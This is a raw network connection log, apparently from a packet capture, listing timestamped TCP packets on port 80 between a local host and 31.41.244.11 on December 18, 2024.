Dec 18, 2024 11:47:45.638704062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.638737917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.638755083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.638773918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.638777971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.638819933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.638998985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.639051914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.639739037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.639775991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.639795065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.639815092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.640950918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.640986919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.641009092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.641022921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.641163111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.641221046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.641272068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.641321898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.642692089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.642729044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.642748117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.642771006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.643527031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.643580914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.644303083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.644357920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.644862890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.644898891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.644913912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.644943953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.646430969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.646478891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.646498919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.646536112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.648116112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.648164988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.648169041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.648205042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.648205042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.648247004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.649499893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.649544001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.649550915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.649581909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.649581909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.649620056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.651305914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.651376009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.651382923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.651417971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.652173042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.652223110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.652288914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.652337074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.654062033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.654086113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.654104948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.654114008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.654145956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.654145956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.655299902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.655330896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.655348063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.655349016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.655359983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.655384064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.656759977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.656781912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.656807899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.656843901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.658364058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.658394098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.658412933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.658436060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.659147024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.659166098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.659193039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.659204960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.660245895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.660301924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.660414934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.660456896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.661170959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.661190033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.661211967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.661230087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.663522005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.663539886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.663558006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.663570881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.663590908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.663599968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.664433956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.664477110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.664494991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.664535046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.665760040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.665777922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.665801048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.665805101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.665823936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.665841103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.667947054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.667965889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.667984962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.667995930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.668014050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.668025970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.668561935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.668610096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.672008991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.672028065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.672060966 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.672126055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.800194025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.800218105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.800235033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.800265074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.800302029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.801261902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.801280022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.801311016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.801331997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.802778959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.802797079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.802814007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.802826881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.802845001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.802855015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.804075956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.804094076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.804111004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.804119110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.804133892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.804150105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.806243896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.806261063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.806277990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.806296110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.806315899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.807502031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.807518005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.807533979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.807543039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.807570934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.809720039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.809739113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.809756994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.809763908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.809789896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.810334921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.810376883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.812119007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.812135935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.812153101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.812163115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.812187910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.813477993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.813493967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.813509941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.813523054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.813548088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.815557003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.815576077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.815592051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.815603971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.815622091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.816847086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.816863060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.816888094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.816890001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.816912889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.816927910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.818353891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.818372965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.818401098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.818413973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.820348024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.820365906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.820394039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.820410013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.821439028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.821455002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.821471930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.821501017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.821530104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.822688103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.822704077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.822727919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.822731018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.822748899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.822767019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.824987888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.825005054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.825021982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.825030088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.825083971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.825083971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.826173067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.826189041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.826205969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.826211929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.826225042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.826241016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.828516960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.828533888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.828552008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.828571081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.828593016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.828593016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.829607964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.829624891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.829651117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.829664946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.830334902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.830377102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.831928968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.831945896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.831963062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.831971884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.831985950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.832001925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.833233118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.833249092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.833265066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.833275080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.833287001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.833303928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.834249973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.834306955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.834479094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.834630966 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.835675001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.835692883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.835716963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.835731030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.836608887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.836652040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.836700916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.836745024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.838332891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.838356018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.838397026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.838457108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.838927031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.838973999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.839020014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.839066029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.840836048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.840857029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.840903997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.842425108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.842441082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.842466116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.842478991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.842497110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.842509031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.843739033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.843755960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.843771935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.843786955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.843811035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.845933914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.845948935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.845964909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.845984936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.845997095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.846046925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.846091032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.847582102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.847600937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.847629070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.847640991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.849071026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.849086046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.849118948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.849138021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.850646019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.850662947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.850680113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.850694895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.850704908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.850723982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.851900101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.851917028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.851933956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.851947069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.851957083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.851975918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.853595972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.853612900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.853646040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.853658915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.854262114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.854279995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.854305983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.854315996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.856491089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.856512070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.856528997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.856555939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.856585026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.857249975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.857294083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.858872890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.858890057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.858906031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.858922005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.858932972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.858951092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.859997988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.860013962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.860030890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.860044956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.860070944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.991596937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.991626024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.991643906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.991743088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.991791964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.992680073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.992697001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.992719889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.992818117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.992818117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.992832899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.994276047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.994292974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.994332075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.994335890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.996448994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.996464968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.996481895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.996494055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.996510983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.996752024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.998805046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.998822927 CET	80	49878	31.41.244.11	192.168.2.6
